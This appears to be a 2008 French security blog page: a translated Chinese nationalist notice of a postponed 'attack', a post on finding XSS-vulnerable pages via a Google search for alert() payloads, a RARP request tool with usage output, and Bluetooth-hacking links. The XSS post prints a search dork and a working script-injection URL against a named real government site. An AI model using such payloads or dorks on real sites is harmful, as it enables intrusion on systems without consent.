ATTENTION : Notre plan de départ du 19 avril a été annulé parce que trop de monde était au courant et la situation était chaotic. A une date non spécifiée dans un futur proche, nous lanceront l’attaque. Nous demandons à chacun de rester prêt. Ca va recommencer. A une date non spécifiée dans un futur proche, nous lanceront l’attaque. Nous annulons présentement l’attaque. Nous pourrons envoyer une note sur la date de l’attaque et nous serrons prêt dans la journée. L’attaque n’a pas été annulée; elle sera relancé dans un futur proche. Je pense que chacun comprend ce que nous voulons dire.

Nous espérons qu’encore plus de chinois de sang nous rejoindront. C’est seulement dans l’unité que nous aurons la force. Nous ne sommes pas des individualités, nous somme une communauté, nous sommes chinois.

(traduction www.leblogdantoine.com)

18 avr. 2008

Google XSS

La méthode alert() de javascript a un usage quasi-réservé au debug de scripts. Néanmoins, elle est de loin la plus appelée dans les proofs of concepts de failles XSS.

Tellement que celà en devient un Google dork. Il est possible de trouver une quantité impressionnante de pages vulnérables (non 0day du coup) via une recherche du genre :

inurl:<script>alert('XSS')</script>


Avec même des petites perles :

http://www.sic.gov.lv/?gi=%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E


Petite dérive hors sujet : étant donné que l'on parle de la méthode alert(), jetez donc un oeil à l'article "snippets of defense Pt. I" de .mario (GnuCitize, PHP IDS, mailgun..."

Toujours partant du fait qu'alert() est très souvent utilisée pour prouver une faille XSS, l'idée est de réécrire le méthode, afin de logger ses appels.
Le code est sur le lien ci-dessus. Assez sympathique et belle utilisation des possibilités de JavaScript concernant les pointeurs de fonction.

6 avr. 2008

Effectuer des requêtes RARP sous Linux

Pour mémoire, le protocole RARP, définit par la RFC 903 permet à une machine de connaitre l'adresse IP d'une machine (par exemple elle même) à partir de son adresse matérielle (ou adresse MAC).

Si des requêtes ARP peuvent être forgées à partir de l'outil ARPING, il n'existait pas à ma connaissance d'outil similaire pour les systèmes Gnu/Linux.
C'est chose faite avec RARPING, le logiciel est écrit en C, sans dépendance particulière (système Gnu/Linux, un compilateur C digne de ce nom et c'est tout...). Le projet est hébergé sur Google Code, vous pouvez récupérer le code soit par svn :

svn co http://rarping.googlecode.com/svn/trunk/ rarping-read-only

Soit via votre browser à la homepage du projet : http://code.google.com/p/rarping

J'ai plusieurs idées pour améliorer rarping. Il devrait donc encore évoluer de façon importante. Notamment quant à la possibilité pour l'utilisateur de définir le timeout, et l'usurpation d'adresses IP et MAC dans les requêtes. D'autres petites choses comme un meilleur contrôle des sorties (niveau de verbosité, logs...)

Les commentaires sont de type Doxygen et relativement abondants.
Ils suffisent je pense à comprendre le fonctionnement du programme.

L'utilisation requiert la CAP_NET_RAW (cf. man capabilities) pour être utilisé du fait qu'il ouvre une socket de types SOCK_RAW (envoi de données brutes sur le réseau), donc sur la majorité des machines, il faudra être root.
La ligne de commande est relativement simple et classique :


root@debianne:# ./rarping -h
RARPING (null) on (null)
Usage : ./rarping [-h] [-c count] [-I interface] request_MAC_address
-h : print this screen and exit
-V : print version and exit
-c count : send [count] request(s) and exit
-I interface : network device to use
request_MAC_address : hardware address we request associated IP address
For example : ./rarping -I eth0 00:03:13:37:be:ef


root@debianne:# ./rarping -c 1 -I eth0 00:16:32:2e:15:b6
RARPING 00:16:32:2e:15:b6 on wlan0
Reply received from 192.168.1.14 (00:11:d9:6a:51:c4) : 00:16:32:2e:15:b6 has 192.168.1.13
Sent 1 request(s)
Received 1 response(s)



Si vous trouvez des bugs, avez des idées pour améliorer le programme, des questions ou n'importe quoi qui concerne de près ou de loin rarping n'hésitez pas à m'en faire part!

25 mars 2008

Bluetooth Hacking -- II --

Ok, ok, c'est vrai j'avais promis de releaser ici mes codes relatifs à la sécurité Bluetooth. Le manque de temps m'a empêché de mener à bien et surtout en temps voulu mon code. J'ai bien commencé un RFComm Packet Injector (un truc pas encore implémenté dans Bluediving ) mais ai donc dû le mettre de côté.

Pour me faire pardonner, voici une petite liste de liens bien plus intéressant que le programme qui aurait dû être ici :

Présentations des principales attaques connues
La même à la sauce Kaspersky Labs
Guide d'introduction à la programmation Bluetooth

En enfin une vidéo de ces messieurs du Chaos Computer Club. Intéressant de voir comment il martyrisent le protocole dont la sécurité est vantée par tous les industriels (même ceux hors du consortium Bluetooth!). Bon en même temps c'est vrai que les mecs du CCC sont doués à vous faire flipper d'utiliser une cafetière tellement elle est insecure à leur yeux...



Dossier Bluetooth : -- Partie 1 (technologie) -- Partie 2 (sécurité) --
N'hésitez pas à consulter les autres vidéos du CCC!

http://chaosradio.ccc.de